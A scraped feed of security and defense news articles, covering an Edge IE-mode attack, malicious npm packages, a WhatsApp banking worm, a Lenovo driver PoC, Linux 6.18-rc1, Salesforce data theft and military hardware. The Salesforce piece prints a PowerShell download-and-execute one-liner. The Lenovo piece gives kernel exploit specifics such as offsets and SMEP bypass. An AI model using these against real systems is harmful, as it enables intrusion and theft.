• The cybersecurity landscape witnessed a concerning development as threat actors discovered a novel attack vector targeting Microsoft Edge’s Internet Explorer mode functionality.

    This sophisticated campaign emerged in August 2025, exploiting the inherent security weaknesses of legacy browser technology to compromise unsuspecting users’ devices.

    The attack represents a significant evolution in threat actor tactics, demonstrating their ability to weaponize seemingly benign compatibility features.

    The attack methodology combines social engineering with zero-day exploits targeting Internet Explorer’s Chakra JavaScript engine. Cybercriminals initially direct victims to carefully crafted spoofed websites that appear legitimate, creating a false sense of security.

    Once victims arrive at these malicious sites, attackers deploy a strategic flyout notification requesting users to reload the page in Internet Explorer mode, effectively transitioning them from Edge’s secure Chromium-based environment to IE’s vulnerable legacy framework.

    This transition proves critical as Internet Explorer lacks the robust security architecture and defense-in-depth mitigations present in modern browsers.

    The legacy environment exposes users to risks that contemporary Chromium-based browsers are specifically engineered to prevent, creating an ideal exploitation opportunity for malicious actors.

    Microsoft Edge security analysts identified the threat after receiving credible intelligence about active exploitation campaigns.

    The research team discovered that attackers were systematically targeting the compatibility feature designed to support legacy business applications, older security camera interfaces, and government portals that still rely on outdated technologies like ActiveX and Flash.

    Chakra Engine Exploitation and Privilege Escalation

    The attack’s technical sophistication lies in its multi-stage exploitation process targeting the Chakra JavaScript engine.

    After successfully convincing victims to switch to Internet Explorer mode, attackers deploy unpatched zero-day exploits specifically crafted for IE’s JavaScript execution environment.

    The Chakra engine, despite Microsoft’s previous hardening efforts, remains vulnerable to memory corruption attacks that enable remote code execution.

    Following successful code execution within the browser context, threat actors implement a second exploit designed for privilege escalation.

    This secondary payload allows attackers to break out of the browser’s sandboxed environment, gaining elevated system privileges and full device control.

    The dual-exploit approach ensures comprehensive system compromise, enabling malware installation, lateral movement within corporate networks, and sensitive data exfiltration.

    Microsoft responded by restricting IE mode access, removing high-risk entry points including toolbar buttons and context menus while maintaining enterprise policy support for legitimate business needs.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Hackers Leveraging Microsoft Edge Internet Explorer Mode to Gain Access to Users’ Devices appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • North Korean state-sponsored threat actors have intensified their supply chain attacks against software developers through a sophisticated campaign dubbed “Contagious Interview,” deploying 338 malicious npm packages that have accumulated over 50,000 downloads.

    The operation represents a dramatic escalation in the weaponization of the npm registry, targeting Web3, cryptocurrency, and blockchain developers through elaborate social engineering schemes disguised as legitimate job recruitment processes.

    The campaign operates on a multi-stage attack framework that begins with reconnaissance on professional platforms like LinkedIn.

    Threat actors pose as recruiters or hiring managers, screening potential victims for technical expertise and financial opportunity.

    They specifically target developers working with cryptocurrency wallets, blockchain infrastructure, and Web3 applications, seeking to compromise systems likely to contain valuable credentials, private keys, and monetizable secrets.

    Lockheed Martin Cyber Kill Chain framework (Source – Socket.dev)

    Socket.dev analysts identified the malware following reports from victims who received fraudulent job opportunities that included coding assignments containing malicious dependencies.

    Job-offer lure (Source – Socket.dev)

    The researchers discovered that threat actors have evolved their tooling from direct BeaverTail malware droppers to more sophisticated HexEval, XORIndex, and encrypted loaders that execute during package installation or import processes.

    The malicious packages employ typosquatting techniques targeting everyday dependencies that developers install routinely, particularly in Node.js environments.

    Examples include variations of popular packages such as epxreso/epxresso/epxressoo (Express), dotevn (dotenv), and boby_parser (body-parser).

    This strategy exploits the deadline pressure common in technical interviews where candidates execute “npm install” commands without thorough scrutiny.

    Advanced Encryption and Persistence Mechanisms

    The latest wave introduces encrypted loaders that demonstrate a significant evolution in the attackers’ technical capabilities.

    These loaders utilize Node.js crypto functions with hardcoded AES-256-CBC encryption keys and initialization vectors, storing encrypted payloads in seemingly innocuous files like LICENSE documents.

    The malware reconstructs obfuscated BeaverTail malware in memory before typically fetching the InvisibleFerret backdoor for persistent system access.

    The encrypted loader implementation splits decryption logic across multiple files within the same package.

    Analysis of the redux-saga-sentinel package reveals how the loader imports Node crypto in lib/utils/smtp-connection/parse.js while storing the encrypted payload in the LICENSE file.

    During runtime, the loader decrypts the hex ciphertext to recover stage-two JavaScript code, which maintains obfuscation to evade static analysis detection.

    This technique enables in-memory execution while avoiding disk-based artifacts that traditional security tools might detect.

    The recovered payload establishes command and control communication over HTTP/HTTPS protocols, often using legitimate hosting platforms like Vercel to blend into normal developer traffic patterns, making detection significantly more challenging for security teams monitoring network communications.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post North Korean Hackers Attacking Developers with 338 Malicious npm Packages appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Security researchers have identified a sophisticated malware campaign that exploits WhatsApp’s messaging platform to deploy banking trojans targeting Brazilian financial institutions and cryptocurrency exchanges.

    The self-propagating worm, which emerged on September 29, 2025, demonstrates advanced evasion techniques and multi-stage infection chains designed to circumvent modern security defenses.

    The threat has already affected over 400 customer environments across more than 1,000 endpoints, highlighting the campaign’s widespread reach and effectiveness.

    The attack begins when victims receive a malicious ZIP archive through WhatsApp Web from a previously infected contact.

    The social engineering component is particularly clever, as the message claims the attached content can only be viewed on a computer, effectively forcing recipients to download and execute the malware on desktop systems rather than mobile devices.

    WhatsApp message sent from an infected WhatsApp contact (Source – Sophos)

    This strategic approach ensures the malware operates in an environment where it can establish persistence and deploy its full payload capabilities.

    Sophos analysts identified the malware’s sophisticated infection mechanism during their investigation of multiple incidents across Brazil.

    The threat actors demonstrate deep understanding of Windows security architecture and PowerShell capabilities, implementing obfuscation techniques that allow the malware to operate undetected for extended periods.

    The campaign’s technical sophistication suggests involvement of experienced cybercriminals with substantial resources and knowledge of Brazilian banking systems.

    Multi-Stage PowerShell Infection Chain

    The malware’s execution begins with a malicious Windows LNK file hidden within the ZIP archive. When executed, the LNK file contains an obfuscated Windows command that constructs and runs a Base64-encoded PowerShell command.

    Infection chain (Source – Sophos)

    This first-stage PowerShell script covertly launches an Explorer process that downloads the next-stage payload from command and control servers, including hxxps[:]//www.zapgrande[.]com, expansiveuser[.]com, and sorvetenopote[.]com.

    The second-stage PowerShell command demonstrates the malware’s defensive evasion capabilities through explicit security control modifications.

    Portuguese-language comments embedded within the PowerShell code reveal the author’s intentions to “add an exclusion in Microsoft Defender” and “disable UAC” (User Account Control).

    These modifications create a permissive environment where the malware can operate without triggering security alerts or requiring user interaction for privileged operations.

    The campaign delivers two distinct payloads depending on the infected system’s characteristics: a legitimate Selenium browser automation tool with matching ChromeDriver, and a banking trojan named Maverick.

    The Selenium payload enables attackers to control active browser sessions, facilitating WhatsApp web session hijacking and enabling the worm’s self-propagation mechanism.

    Meanwhile, the Maverick banking trojan monitors browser traffic for connections to Brazilian banks and cryptocurrency exchanges, deploying additional .NET-based banking malware when financial targets are accessed.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post New WhatsApp Worm Attacks Users with Banking Malware to Users Login Credentials appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Anduril will display its entry into the Army’s Soldier Borne Mission Command program starting Monday at the AUSA annual meeting, CEO Palmer Lucky told reporters Thursday.

    Dubbed Eagle Eye, the program aims to produce four different head sets, two of which will be in the Anduril booth, with two more still in earlier phases of development.

    “We've been working on augmented-reality technology for warfighters since near the beginning of Anduril,” said Luckey, who invented the Oculus Rift virtual-reality headset over a decade ago. “It was one of the very first things that we started investing in, primarily building the software back end that would be able to properly feed a combat heads-up display.”

    About two years later, Eagle Eye has variants for day or night operations, or different levels of ballistic protection. Anduril is working with companies like Oakley and Ops Core, but the plan is to integrate even more partners into a headset with modular capabilities that can be customized to the mission. 

    “I don't have to have different variants for each type of user,” Luckey said. “I can have one primary thing and then the changes to it are just—well, that guy has somewhat different sensors, those clip on. That guy is using a different display system—he can just use that one instead of the other. So 90-percent commonality is what we're kind of shooting for with modularity.”

    For example, a hyperspectral camera would be a great feature for an explosive ordnance disposal technician looking for bomb residue, but it’s not something every soldier will need. So that EOD specialist can clip one onto Eagle Eye, but there won’t be a universal suite of sensors for everyone. 

    The Eagle Eye offering that Luckey thinks will be the best contender for SBMC is a set of ballistic augmented-reality glasses that integrate with the helmet, so the processor and battery pack are worn on the helmet rather than in front of the eyes, making them feel much lighter than other VR glasses by distributing the weight around the head.

    “I would probably call it the primary variant right now, given that it’s the one that has the clearest path to deployment at large scale with a large customer,” Luckey said. “And when I say large scale, I mean, like the scale I care about, which is hundreds of thousands of units.”

    The other variant is “a full-ballistic, full-blast-protection, full-face helmet with a night-focused mixed-reality reprojection system,” he said. “So not optically transparent, because we're trying to build a ballistic visor that is rifle- and frag-rated across the entire thing, so no slits that people can shoot your eyes through.”

    The fully sealed helmet should also offer better protection from traumatic brain injury, he said.

    In addition to competing to make the hardware for SBMC, Anduril already has the Soldier Borne Mission Command-Architecture contract to administer the software that controls the headsets.

    “My dream is, maybe 10 years from now, that there are dozens of different providers who are making Eagle Eye-compatible headsets, and they're all able to share a common architecture, common data format, a lot of the same interconnects and standards around energy and data transmission,” he said. “And if we're able to do that, then I think we're actually going to get augmented reality to the military in a way that makes it useful for the first time, for people who are actually on the ground.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A critical vulnerability in Lenovo’s Dispatcher drivers has come under the spotlight after researchers released a proof-of-concept exploit that demonstrates privilege escalation on affected Windows systems.

    Identified as CVE-2025-8061, this flaw stems from insufficient access controls in the drivers, potentially allowing local attackers to execute arbitrary code with elevated privileges.

    Discovered by security firm Quarkslab, the issue affects Lenovo consumer notebooks running older driver versions, raising alarms for users who haven’t applied recent patches.

    Vulnerability Breakdown

    The Lenovo Dispatcher drivers, versions 3.0 and 3.1, handle system processes on certain consumer notebooks, but they expose an IOCTL interface without proper access restrictions.

    This oversight, classified under CWE-782, enables an authenticated local user to manipulate the driver and trigger code execution in kernel mode, leading to full system compromise.

    The National Vulnerability Database rates it with a CVSS 4.0 score of 7.3, citing high impacts on confidentiality, integrity, and availability, though it requires local access and high attack complexity.

    Affected systems include those with LnvMSRIO.sys driver up to version 3.1.0.36, commonly found in Lenovo laptops preloaded with Windows 10 or older Windows 11 builds without default mitigations.

    Newer Lenovo Dispatcher 3.2 and above are unaffected, as Lenovo patched the flaw in version 3.1.0.41 released in September 2025.

    Importantly, enabling Windows Core Isolation Memory Integrity blocks exploitation, a feature active by default on Windows 11 Lenovo systems, reducing real-world risk for updated users.

    AspectDetails
    Affected ProductsLenovo Dispatcher Driver 3.0, 3.1 (LnvMSRIO.sys up to 3.1.0.36) on consumer notebooks
    Impact AssessmentLocal privilege escalation to kernel mode, potential full system control
    Exploit PrerequisitesAuthenticated local user access; Core Isolation disabled; specific Windows build (e.g., 24H2 without HVCI)
    CVSS 3.1 ScoreN/A (CVSS 4.0: 7.3 – High)​

    Exploitation In Action

    Security researcher Luis Casvella from Quarkslab detailed the exploit in a September 2025 blog post, highlighting how attackers can leverage the driver’s MSR read primitive to leak kernel addresses like KiSystemCall64 via the LSTAR register (MSR 0xC0000082).

    This information enables bypassing ASLR and SMEP protections, with the PoC demonstrating shellcode for token stealing to impersonate the SYSTEM process.

    A follow-up GitHub repository by symeonp provides a working PoC that spawns a SYSTEM shell on Windows 11 24H2, hardcoded for build 26100.1, requiring adjustments for offsets like KiSystemCall64 at 0x6b2b40 and CR4 manipulation to disable SMEP (bit 20).

    The technique involves reading MSRs to locate syscalls, injecting shellcode that navigates kernel structures such as _KPCR and _EPROCESS for token manipulation, and restoring registers like CR4 and LSTAR to avoid crashes.

    Casvella’s analysis notes four related bugs in the driver, emphasizing BYOVD tactics where signed drivers evade DSE for post-exploitation.

    While no wild exploits are reported, the public PoC underscores the ease of adaptation for red teamers or malware authors targeting unpatched Lenovo devices.

    Lenovo urges immediate updates to Dispatcher Driver 3.1.0.41 or later via Windows Update or their support site to close the gap.

    For added protection, users should verify Core Isolation in Windows Security under Device Security, toggling Memory Integrity on if it is disabled, which blocks kernel exploits without performance hits on modern hardware.

    Organizations should scan for vulnerable drivers using tools like those from AhnLab or monitor for IOCTL anomalies on endpoints.

    The disclosure timeline reveals Quarkslab’s coordinated efforts with Lenovo since June 2025, culminating in patches despite delays.

    As BYOVD remains a staple in advanced threats, this incident highlights the need for vigilant driver management in enterprise environments. With the PoC now public, prompt action is essential to safeguard against privilege escalation chains in real attacks.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post PoC Exploit Unveiled for Lenovo Code Execution Vulnerability Enabling Privilege Escalation appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Linus Torvalds has announced the release of Linux 6.18-rc1, marking the start of the release candidate phase for the upcoming kernel version.

    In his typical straightforward style, Torvalds noted that the merge window concluded smoothly after two weeks, with the new candidate tagged and pushed out to developers and testers worldwide.

    This iteration appears unremarkable in scale, sitting comfortably in the middle of recent release sizes, and the shortlog of merges reveals no glaring anomalies.

    The bulk of changes, about half the diffstat, centers on drivers, reflecting the kernel’s ongoing evolution to support a widening array of hardware.

    The remainder spans virtual file systems (VFS) and filesystems, architecture updates (heavily influenced by device tree enhancements, which blur into driver territory), tooling improvements, and continued Rust integration for kernel modules.

    Torvalds highlighted a positive note: this was one of those rare merge windows where he avoided bisecting issues on his test machines, suggesting broader stability might follow suit as testing intensifies.

    Linux Kernel 6.18-rc1 Released

    Driver updates dominate, with contributions from maintainers like Alex Williamson bolstering VFIO for virtual function I/O, essential for virtualization environments.

    Greg Kroah-Hartman handled a swath of peripheral drivers, including USB, Thunderbolt, and staging code, while Bjorn Helgaas patched PCI fixes to ensure reliable device enumeration.

    Graphics saw Dave Airlie’s DRM updates and fixes, vital for modern displays and GPUs. Architecture-specific work includes Borislav Petkov’s extensive x86 overhaul, covering instruction decoders, microcode loading, and mitigations for vulnerabilities like Spectre.

    Arm64 and RISC-V received tweaks from Will Deacon and Paul Walmsley, respectively, aiding embedded and server deployments.

    Power management, under Rafael Wysocki, refined ACPI and thermal controls, optimizing energy efficiency across laptops and data centers.

    Networking and I/O layers advanced too, with Paolo Abeni’s updates to core networking stacks and Jens Axboe’s io_uring enhancements for asynchronous operations, boosting performance in high-throughput applications.

    Filesystems and Security

    VFS saw significant polishing from Al Viro and Christian Brauner, including mount updates, inode handling, and Rust bindings to modernize file operations.

    Filesystems like ext4 (Ted Ts’o), Btrfs (David Sterba), and XFS (Carlos Maiolino) incorporated fixes and optimizations for data integrity and speed.

    Security remains a priority, with Kees Cook’s hardening efforts, seccomp refinements, and Eric Biggers’ fscrypt and crypto library updates, including interleaved SHA-256 support.

    BPF from Alexei Starovoitov added fixes for eBPF programs, enhancing kernel observability without compromising safety. Paul McKenney’s RCU tweaks and Thomas Gleixner’s IRQ and timer core updates ensure low-latency responsiveness, crucial for real-time systems.

    This rc1 signals a kernel maturing toward broader hardware support and developer tools, with Rust’s foothold promising safer code.

    While no blockbuster features emerge, the cumulative refinements spanning over 100 contributors fortify Linux’s position in servers, mobiles, and IoT.

    Testers are urged to hammer it with workloads; full stability could arrive by December, barring regressions. As Torvalds quips, hoping his smooth ride extends to the ecosystem, 6.18 looks poised for a solid release.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Linux Kernel 6.18-rc1 Released With Extensive Updates Following a Steady Merge Window appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Scattered Lapsus$ Hunters, a threat group previously associated with high-profile data thefts, recently claimed responsibility for exfiltrating over one billion records from Salesforce environments worldwide.

    Emerging in mid-2025, the group has honed its tactics to exploit misconfigurations in cloud identities and exposed APIs.

    Initial reports surfaced when multiple Salesforce customers observed anomalous queries against their customer relationship management (CRM) instances late at night, suggesting the presence of an automated extraction tool.

    As forensic logs accumulated, investigators realized that the volume and scope of data accessed far exceeded previous intrusions.

    In this latest campaign, attackers leveraged a combination of targeted phishing lures and credential stuffing to gain initial footholds.

    Bling Libra’s Salesforce data leak site (Source – Palo Alto Networks)

    Victims reported receiving authentic-looking emails prompting mandatory security updates, which delivered a malicious Office macro.

    Once executed, the macro reached out to a remote command-and-control server to install a lightweight loader.

    Palo Alto Networks analysts noted that this loader was written in Go and compiled with stripped symbols, making reverse engineering more challenging.

    The loader subsequently validated API tokens and initiated a multi-stage data harvesting routine.

    The impact of this breach extends beyond exposed personal data; proprietary sales strategies, pipeline forecasts, and sensitive client negotiations have all come under threat.

    Many organizations rely heavily on Salesforce for mission-critical operations, meaning any compromise can lead to operational disruptions and reputational harm.

    Early estimates suggest that the group may have extracted data at a sustained rate of over 500 gigabytes per hour, exfiltrating records in batches via encrypted channels to avoid detection.

    Infection Mechanism

    A closer look at the infection mechanism reveals a strategic emphasis on stealth and persistence.

    After the initial macro dropper executes, a PowerShell script stager is launched through a one-liner such as:-

    powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {IEX ((New-Object Net.WebClient).DownloadString('https://cdn.example.com/stager.ps1'))}"

    This stager checks for sandbox indicators before retrieving the full Go-based loader. The loader then decrypts credentials stored in the Windows Credential Manager using the CredRead API and authenticates to the Salesforce REST API with the lowest-privilege service account that meets the data access requirements.

    Once authenticated, the malware enumerates object schemas and dynamically constructs SOQL queries to retrieve and batch records. Each batch is buffered in memory and encrypted with ChaCha20 before being transmitted over HTTPS to a dedicated exfiltration endpoint.

    To ensure persistence, the malware registers a scheduled task named UpdaterSvc that triggers every two hours. This task validates the presence of the loader binary, re-downloads it if altered, and resumes extraction from the last successful record ID.

    The group’s meticulous approach to API rate-limit evasion and credential harvesting underscores an advanced understanding of cloud-native environments.

    By combining sophisticated social engineering, custom tooling, and resilient persistence tactics, Scattered Lapsus$ Hunters have demonstrated a formidable capability to compromise enterprise Salesforce instances at scale.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Scattered Lapsus$ Hunters Claim to Have Stolen More Than 1 Billion Salesforce Records appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Sikorsky’s newest helicopter is an unmanned version of its UH-60L Black Hawk, stripped of its cockpit to carry more cargo and keep aircrew out of harm’s way. Company officials hope the U.S. and other militaries see the remotely piloted U-HAWK as a useful new variant of the venerable airframe.

    The cockpit is replaced by clamshell doors and a ramp, and the pilots with the company’s MATRIX autonomous technology, enabling a ground operator to fly the aircraft with a tablet.

    “We can take those highly trained crews and very valuable crews and focus them on those critical missions that are in direct support of soldiers, seamen, airmen, and then kind of the mundane or really dangerous or dull task we can assign to the autonomous capabilities,” said 

    Erskine “Ramsey” Bentley, director of strategy and business development for Sikorsky Advanced Programs, which debuted the yet-to-be-flown aircraft on Monday at the Association of the U.S. Army’s conference in Washington, D.C.

    The announcement, and push to keep the helicopter relevant, follows Army Chief of Staff Randy George’s congressional testimony that the service may retire its aging UH-60L, introduced in 1989. In 2022, the Army chose Textron’s Bell V-280 to potentially replace thousands of the Army’s workhorse helicopters.

    Sikorsky, a Lockheed Martin subsidiary, has been testing its MATRIX system on unmanned Black Hawk helicopters for at least a decade. Company representatives said they’ve wanted to move fast on U-HAWK, getting an aircraft ready to debut at the show in just 10 months. Flight testing is set to begin within the first half of 2026.

    “We have gone from concept to design to actually reworking the aircraft and rebuilding the aircraft in under a year,” Bentley said. “We plan to be turning rotors this spring, and we're looking at first flight in the second quarter of the year.”

    Bentley said by building U-HAWK on the older UH-60L the company can cut down on costs as well as maintenance for the Army.

    “We're really looking at different ways to extend the life of the aircraft,” Bentley said. “We really didn't do a lot of changes … You're talking about the same transmissions, same engines, same rotor blades, etc. It's not like we're introducing a new aircraft and a new platform into the Army inventory.”

    By losing the cockpit and crew chief stations, the U-HAWK can be equipped for a variety of cargo such as four Joint Modular Intermodal Containers or a HIMARS pod of six rockets. Uncrewed ground vehicles, such as the robotic HDT Hunter Wolf can be driven on and off the ramp of the aircraft. Company officials also said a munitions quiver can be secured to the cabin of the helicopter to fire armed missiles or sensors. 

    Company representatives have said there’s not a specific customer or contract in mind for the U-HAWK. 

    The U-HAWK announcement comes one year after the company received a $6 million award from the Defense Advanced Research Projects Agency to install its MATRIX flight autonomy system on the Army’s UH-60M Black Hawk helicopter. That same technology was placed on all five drone designs for DARPA’s shipboard unmanned aerial systems demonstrations.

    Sikorsky isn’t the only company pursuing autonomous flight on Black Hawks. In April, the Army selected Near Earth Autonomy and Honeywell to lead a $15 million program to equip UH-60Ls for unmanned logistics missions.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The online cybercrime marketplace, Russian Market, has evolved from selling Remote Desktop Protocol (RDP) access to becoming one of the most active underground hubs for information-stealing malware logs. Stolen user credentials are traded daily, and each compromised login represents a potential gateway into corporate systems. Threat actors routinely purchase credentials to launch credential-based attacks that […]

    The post Russian Cybercrime Marketplace Shifting from RDP Access to Malware Stealer Log Exploits appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶